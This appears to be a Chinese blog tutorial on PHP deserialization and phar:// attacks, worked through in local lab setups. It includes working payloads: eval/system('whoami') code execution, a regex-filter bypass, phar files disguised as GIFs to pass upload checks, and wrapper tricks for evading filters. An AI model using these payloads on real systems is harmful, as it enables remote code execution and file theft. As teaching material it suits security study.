class MyClass {  private function myPrivateMethod($param1, $param2) {  echo "调用了一个私有方法:$param1, $param2\n";  }  public function __call($name, $arguments) {  if ($name === 'myPrivateMethod') {  return $this->myPrivateMethod($arguments[0], $arguments[1]);  } else {  echo "尝试调用的方法 '$name' 不存在。\n";  }  }  
}  $obj = new MyClass();  
$obj->myPrivateMethod('Hello', 'World'); // 调用私有方法  
$obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法

__sleep

它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)

class MyClass {  public $prop1 = 'value1';  public $prop2 = 'value2';  private $prop3 = 'value3';  public function __sleep() {  // 返回不需要被序列化的属性名称数组  return array('prop2');  }  
}  $obj = new MyClass();  
$serialized = serialize($obj);  
echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2

一.初步认识

写入反序列化文件index.php,通过传参让页面出现phpinfo页面

class one
{var $b="phpinfo();";function action(){eval($this->b);//eval:用于执行一段php代码字符串。}
}$a=unserialize($_GET['obj']);//将获取到的参数进行反序列化
$a->action();//执行这个方法

分析payload

O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}

image-20240728203541947

新建一个序列化test.php文件用于存放预构造的代码

<?php
​
class one
{var $b='eval($_GET[2]);';
​function action(){eval($this->b);}
}
​
$a=new one();
$a->action();
echo serialize($a);//实例化一个对象,将其序列化的内容打印出来

得到其序列化的结果,在我们的页面最下面

image-20240728205317031

我们将他反序列化-->index.php进行传参

image-20240728205358614

很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行

image-20240728210018019

emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉

image-20240728210032604

嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行

image-20240728210055297

注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的

image-20240728210618064

当然也可以使用这种payload

http://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami');

image-20240728213158471

在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的

二.简单利用

简单利用反序列化index.php代码参考:

<?php
class one
{var $b = 'echo 123;';
​function action(){eval($this->b);}
}
class Student
{var $a;
​function __construct(){$this->a = new one();}
​function __destruct(){$this->a->action();}
}
unserialize($_GET[1]);

新建一个test.php用于获取序列化结果,获取我们的参数

<?php
​
class one
{var $b = 'echo 123;';
​function action(){eval($this->b);}
}
​
class Student
{var $a;//构造函数,对象被实例化即new的时候调用function __construct(){$this->a = new one();}//折构函数:被销毁时候调用function __destruct(){$this->a->action();}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}}

这时候再回到我们index.php

image-20240729094454902

可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷

<?phpclass one
{var $b = 'system("whoami");';function action(){eval($this->b);}
}class Student
{var $a;//构造函数,对象被实例化即new的时候调用function __construct(){$this->a = new one();}//折构函数:被销毁时候调用function __destruct(){$this->a->action();}
}
$one = new Student();
echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}}

复制这个结果,使用具有反序列化漏洞的index.php进行传参

image-20240729094904495

三、相关绕过

任务:访问当前目录的1.txt文件

构造环境

创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。

image-20240729100332041

习题代码

<?php
@error_reporting(1);
echo $_GET['data'];
class baby
{public $file;function __toString(){if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
if (isset($_GET['data']))
{$data = $_GET['data'];preg_match('/[oc]:\d+:/i',$data,$matches);if(count($matches)){die('Hacker!');}else{$good = unserialize($data);echo $good;}
}
else
{highlight_file("./test4.php");
}
?>

这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。

既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化

image-20240729102904137

同上面一样构造序列化test.php

<?php@error_reporting(1);
echo $_GET['data'];
class baby
{//构造你要读取的文件public $file="1.txt";function __toString(){if(isset($this->file)){$filename = "./{$this->file}";if (file_get_contents($filename)){return file_get_contents($filename);}}}
}
echo serialize(new baby());

image-20240729103212871

.过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验

image-20240729103422559

可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)

payload  O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";}

image-20240729122741458

四、开始上手

任务:读取 flag.游不动的鱼宝丶

class A
{public $mod1;public $mod2;//对象销毁之后调用public function __destruct(){$this->mod1->test1();}
}class B
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}class C
{public $mod1;public $mod2;//__call尝试调用一个对象中不可访问的方法时被调用。public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}class D
{public $mod1;public $mod2;//__invoke允许一个对象像函数那样被调用public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}class E
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}class GetFlag
{public function get_flag(){echo "flag:" . "游不动的鱼宝丶";}
}$a = $_GET['obj'];
unserialize($a);

我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法

image-20240729141440997

这里的字符串拼接,调用了__toString魔术方法

image-20240729141613497

C类中的成员以函数的形式调用了自己的成员

image-20240729142002670

B类中的函数调用了C类中的$test2成员

image-20240729142122451

最后销毁

image-20240729142306025

代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法

<?php
class A
{public $mod1;public $mod2;//通过 __construct()魔术方法,创建对象的时候自动调用public function __construct(){$this->mod1 = new  B();}public function __destruct(){$this->mod1->test1();}
}
class B
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  C();}public function test1(){$this->mod1->test2();}
}
class C
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  D();}public function __call($test2, $arr){$s1 = $this->mod1;$s1();}
}
class D
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new  E();}public function __invoke(){$this->mod2 = "字符串拼接" . $this->mod1;}
}
class E
{public $str1;public $str2;public function __construct(){$this->str1 = new  GetFlag();}public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:" . "游不动的鱼宝丶";}
}
$c = new A;
echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
​

序列化输出结果

image-20240729143728469

得到payload

O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

使用具有该反序列化漏洞的index.php

image-20240729144030410

总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。

Phar文件和Phar协议

前言

在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。

phar文件详解

Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。

phar文件分为四层

  1. Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>

  2. Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。

  3. Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。

  4. Signature(签名)(可选):验证Phar文件的完整性和真实性。

生成phar文件
1.准备环境

1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)

php配置

image-20240729160528265

具体index.php代码,phar文件生成

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问index.php生成phar文件

image-20240729174413855

查看目录

image-20240729174440869

这里就有了序列化之后的结果

image-20240729174654715

Tips : phar.phar文件是在本地生成后上传到目标网站的。配合phar协议和相关函数,它可以构成反序列化攻击的杀伤链。因此,前置的PHP环境配置操作不会影响后续的攻击实施。利用的关键在于:

  1. phar文件必须能上传到服务器;

  2. 存在可用的魔术方法作为攻击的“跳板”;

  3. 文件操作函数的参数可控,且特殊字符如./../phar等未被过滤。

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后发布的受影响的函数如下 :

文件操作函数

image-20240729193959585

绕过技巧

1.环境限制了phar不能出现在前面的字符里
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar
2.验证文件格式
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
3、绕过上传后缀检查

即使将文件后缀改为gif也不影响phar的文件最终执行

image-20240729221202538

执行index.php

image-20240729221130203

一.初步了解

任务:目标1.php界面任务执行phpinfo()

1、index.php代码(具有phar协议反序列化漏洞的代码)

<?php
class Files
{var $b = 'echo ok;';function __destruct(){eval($this->b);}
}
//$file = '../'.$_GET['file'];
is_dir('phar://phar.phar/test.txt');

2、test.php攻击代码

<?php
class Files{var $b = 'phpinfo();';function __destruct(){eval($this -> b);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new Files();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729192637278

这里我们执行我们的攻击代码,生成phar.phar文件

image-20240729192802963

可以查看phar.phar文件(.metadata.bin放置着序列化的恶意代码)

image-20240729192839186

生成成功后我们就可以利用这个具有phar协议反序列化漏洞index.php访问了,执行成功

image-20240729192946420

看不出效果?那么这样呢

image-20240729193311833

访问test.php,为空白界面

image-20240729193131831

查看文件

image-20240729193342021

对payload的obj参数进行传参

image-20240729193401008

执行系统命令

image-20240729193457866

二、进一步了解

通过phar协议读取Destruct called

目标文件

class TestObject
{public function __destruct(){echo 'Destruct called';}
}
​
$filename = $_GET['cmd'];
file_get_contents($filename);

image-20240729222723132

分析:存在可控点以及文件操作函数file_get_contents,需要通过phar协议的反序列化功能,配合file_get_contents函数,执行phar.phar文件内序列化后的代码

1、同理,构造phar.phar文件,将恶意代码序列化存入phar.phar的.metadata.bin文件中

phar.phar文件生成

image-20240729233055730

成功利用phar协议,执行了具有phar协议反序列化漏洞的php文件,并成功获取到了魔术方法中的内容

image-20240729233142057

扩展:练习

具体代码

class Test
{public $num = 2;
​public function __destruct(){if ($this->num === 1) {echo 'flag{123}';}}
}
echo file_get_contents($_GET['data']);

image-20240729233627801

(关键在于构建恶意的代码,关注点在$num = 2 --->$num=1)

image-20240729233658296

再深入

任务:通过phar协议执行phpinfo

详细:通过upload_file.php,index.php,page.php文件模拟攻击目标,使用phar文件和phar协议执行反序列化,达到任意代码执行效果.

环境准备

1.www/目录(网站根目录)下放upload_file.php,index.php,page.php文件

2.www/目录(网站根目录)下新建upload_file文件夹

3.各个文件内容及解释

<?php
if (($_FILES["file"]["type"] == "image/gif") && (substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.') + 1)) == 'gif') {echo "Upload: " . $_FILES["file"]["name"];echo "Type: " . $_FILES["file"]["type"];echo "Temp file: " . $_FILES["file"]["tmp_name"];
​if (file_exists("upload_file/" . $_FILES["file"]["name"])) {echo $_FILES["file"]["name"] . " already exists. ";} else {move_uploaded_file($_FILES["file"]["tmp_name"],"upload_file/" . $_FILES["file"]["name"]);echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];}
} else {echo "Invalid file,you can only upload gif";
}

upload_file.php:内容做了一个上传文件后缀的限制

upload_file.php

image-20240729234247144

index.php 提供一个上传界面

<body>
<form action="/upload_file.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" name="Upload" />
</form>
</body>

image-20240730001201869

page.php 目标可控点

<?php
$filename=$_GET['filename'];
class AnyClass{var $output = 'echo "ok";';function __destruct(){eval($this -> output);}
}
file_exists($filename);//用于检查文件或目录是否存在

page.php

image-20240729234411782

分析

1.目标存在可控点以及文件操作函数

page.php分析

image-20240729234740648

受影响的文件操作函数表

image-20240729234950662

2.只有upload_file.php的对上传文件的后缀类型进行限制,但是!我们phar文件也可以使用gif后缀!文章中有提到,可以仔细看一看。

image-20240729235300227

所以这题我们就可以使用phar协议进行漏洞复现

开始解题

1、构造上传文件phar,test.php

<?php
class AnyClass{var $output = 'phpinfo();';function __destruct(){eval($this -> output);}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,验证文件格式
$o = new AnyClass();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

image-20240729235720606

检查我们的payload

image-20240730001523626

改文件名

image-20240729235814518

上传之前,新建一个upload_file文件夹

image-20240730001326080

因为这里测试的文件上传代码保存在这个文件夹中

image-20240730001421961

开始上传

image-20240729235930816

上传成功

image-20240730001244615

执行我们的payload漂亮!

image-20240730001659348

反序列化漏洞预防

使用安全的序列化/反序列化库

  • 选择经过安全审计的、维护良好的序列化库。

  • 避免使用已知存在安全漏洞的库。

限制反序列化的类型

  • 只允许反序列化预定义、可信的类。

  • 使用类型安全的序列化机制,如Java中的ObjectOutputStreamObjectInputStream时,可以使用enableSubstitution方法来限制反序列化的类。

数据完整性验证

  • 在序列化和反序列化过程中,使用数字签名或消息认证码(MAC)来验证数据的完整性。

  • 确保序列化数据在传输过程中未被篡改。

定期审计和测试

  • 定期对应用程序进行安全审计,以识别潜在的反序列化漏洞。

  • 使用自动化工具和手动测试方法来检测和利用反序列化漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/51743.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux用户-用户组管理

文章目录 14. Linux 用户 - 用户组管理14.1 用户-用户组概述14.2 查看用户登录14.3 用户和用户组配置文件概述14.4 用户账号配置文件信息14.5 用户账号管理14.6 用户密码管理14.7 用户密码配置文件14.8 用户删除14.9 用户组管理14.10 用户组文件信息14.11 用户深入管理 14. Lin…

Windows搭建我的世界MC服务器 【Minecraft外网联机教程】

目录 ⛳️推荐 1. 搭建我的世界服务器 1.1 服务器安装java环境 1.2 配置服务端 1.3 创建我的世界服务器 2. 局域网联机测试 3. 安装cpolar内网穿透 4. 公网联机Minecraft 5. 配置固定远程联机端口地址 ⛳️推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通…

新手转行AI运营岗位,轻松实现月入15K+

近年来人工智能大爆发&#xff0c;各种AI产品层出不穷&#xff0c;市场也出现了一批高薪AI运营类岗位 不需要技术背景、门槛低&#xff0c;即便是新手&#xff0c;也有机会拿下offer。如果你计划今年跳槽或转行运营&#xff0c;这5个岗位不妨试试&#xff08;结尾附国内AI公司清…

科普文:万字梳理高性能 Kafka快的8个原因

概叙 科普文&#xff1a;万字详解Kafka基本原理和应用-CSDN博客 科普文&#xff1a;万字梳理31个Kafka问题-CSDN博客 我们都知道 Kafka 是基于磁盘进行存储的&#xff0c;但 Kafka 官方又称其具有高性能、高吞吐、低延时的特点&#xff0c;其吞吐量动辄几十上百万。 在座的…

【深度学习】kaggle使用

https://blog.csdn.net/2301_78630677/article/details/133834096 https://blog.csdn.net/xiaojia1001/article/details/139467176 https://www.kaggle.com/ 使用要挂代理&#xff0c;要不然可能无法注册 绑定手机号之后才能使用GPU 每周30h免费GPU使用时长 上传数据集 Ad…

安科瑞ACTB系列电流互感器过电压保护器

产品概述&#xff1a; 安科瑞ACTB系列电流互感器过电压保护器是一种重要的电力保护设备&#xff0c;‌主要用于防止电流互感器在运行中因二次绕组开路或一次绕组流过异常电流而在二次侧产生的高压过电压。‌这种保护器能有效防止因电流互感器二次侧异常高压引起的事故&#xf…

手撕数据结构---栈和队列的概念以及实现

栈的概念&#xff1a; 栈&#xff1a;⼀种特殊的线性表&#xff0c;其只允许在固定的⼀端进⾏插⼊和删除元素操作。进⾏数据插⼊和删除操作的⼀端称为栈顶&#xff0c;另⼀端称为栈底。栈中的数据元素遵守后进先出LIFO&#xff08;Last In First Out&#xff09;的原则。 压栈…

Kafka、RabbitMQ、RocketMQ:消息队列技术深度对比

文章目录 摘要1. 消息队列概述1.1 消息队列的作用 2. Kafka2.1 简介2.2 核心特性2.3 使用场景 3. RabbitMQ3.1 简介3.2 核心特性3.3 使用场景 4. RocketMQ4.1 简介4.2 核心特性4.3 使用场景 5. 技术对比5.1 吞吐量5.2 可靠性5.3 消息延迟5.4 消息顺序 6. 结语 摘要 消息队列是…

《框架》

《框架》 引言 在当今快速发展的技术世界中,框架(Framework)已成为软件开发中不可或缺的一部分。框架为开发者提供了一种结构化的方法来构建应用程序,从而提高开发效率、确保代码质量和维护性。本文将深入探讨框架的概念、类型、优势以及在现代软件开发中的应用。 什么是…

opencascade AIS_RubberBand AIS_RotationMode源码学习

//!相机旋转类型 Camera rotation mode. enum AIS_RotationMode { AIS_RotationMode_BndBoxActive, //!< default OCCT rotation AIS_RotationMode_PickLast, //!< rotate around last picked point AIS_RotationMode_PickCenter, //!< rotate around point at the ce…

广东省道路工程检测练习试题(单选406题)真题

1.一般项目的合格点率应达到( ),且不合格点的最大偏差值不得大于规定允许偏差值的1.5倍。 A.不低于75% B.不低于80% C.不低于85% D.不低于90% 答案:B 2.进行土路基平整度检测时,当路宽小于9m,检测点数应为( ) A.1 B.2 C.3 D.4 答案:A 3.根据《城镇道路工程施工…

python之代码简化式(列表、字典生成式,递归函数,迭代器(iter)和生成器(yield)、匿名函数(lambda)的使用)(12)

文章目录 前言1、列表、字典生成式2、递归函数2.1 python中代码的递归深度&#xff08;扩展&#xff09; 3、拓展&#xff1a;迭代器和生成器3.1 迭代器&#xff08;iter&#xff09;3.2 生成器&#xff08;yield&#xff09; 4、匿名函数&#xff08;lambda&#xff09;4.1 ma…

宠物猫用空气净化器真的有用吗?值得买的猫用空气净化器牌子排名

作为一名6年资深铲屎官&#xff0c;每天铲猫砂盆的工作无疑是一项挑战。家中不仅弥漫着难以忍受的气味&#xff0c;而且家里的小孩和老人偶尔会因为过敏性鼻炎或结膜炎等问题感到不适。换毛季节尤其头疼&#xff0c;浮毛无处不在&#xff1a;沙发、外套、坐垫&#xff0c;甚至连…

C++中绝对值的用法

在C中&#xff0c;std::fabs函数可以用于四则运算中&#xff0c;特别是当你需要确保参与运算的浮点数是正值时。std::fabs函数返回其参数的绝对值&#xff0c;这对于处理可能包含负数的表达式很有用。 下面是一些示例&#xff0c;展示了如何在四则运算中使用std::fabs函数&…

Spring Boot 3 + Resilience4j 简单入门 + Redis Cache 整合

1. 项目结构 2. Maven依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.1.2</version><relativePath/> <!-- lookup parent from repository --&…

Kubernetes CRI工具集:crictl深度实践与应用

Kubernetes CRI工具集&#xff1a;crictl深度实践与应用 一、引言 在Kubernetes&#xff08;k8s&#xff09;环境中&#xff0c;crictl是一个重要的命令行工具&#xff0c;用于与容器运行时接口&#xff08;Container Runtime Interface, CRI&#xff09;兼容的容器运行时&am…

如何学习ClickHouse:糙快猛的大数据之路(技术要点概览)

这个系列文章用"粗快猛大模型问答讲故事"的创新学习方法&#xff0c;让你轻松理解复杂知识&#xff01;涵盖Hadoop、Spark、MySQL、Flink、Clickhouse、Hive、Presto等大数据所有热门技术栈&#xff0c;每篇万字长文。时间紧&#xff1f;只看开头20%就能有收获&#…

英文润色工具 Quillbot

QuillBot 是一种基于人工智能&#xff08;AI&#xff09;的写作辅助工具&#xff0c;旨在帮助用户改进他们的写作质量和效率。它提供了多种功能&#xff0c;包括但不限于改写、总结、语法检查和词汇增强。以下是对 QuillBot 软件的一些详细介绍&#xff1a; ### 主要功能 1. …

如何智能便捷、自动化地进行文件数据采集?

文件数据采集是指从各种源头和渠道收集、整理、清洗、分析和挖掘数据的过程。它是大数据应用的基础&#xff0c;为企业提供全面的决策支持和业务价值。文件数据采集对于不同行业都至关重要&#xff0c;通过有效的文件数据采集&#xff0c;企业可以更好地了解市场动态、优化服务…

Elasticsearch(ES)版本升级

ES版本升级&#xff0c;索引不兼容&#xff0c;必须删除或重新索引它们才能升级到更高版本 1ES6升级到ES7&#xff0c;必须先升级到6.8 Elasticsearch 6.8.x ✔ 2ES7升级到ES8&#xff0c;必须先升级到7.17 Elasticsearch 7.17.x ✔ 3ES8升级到ES8无差异化升级 Elasticsearc…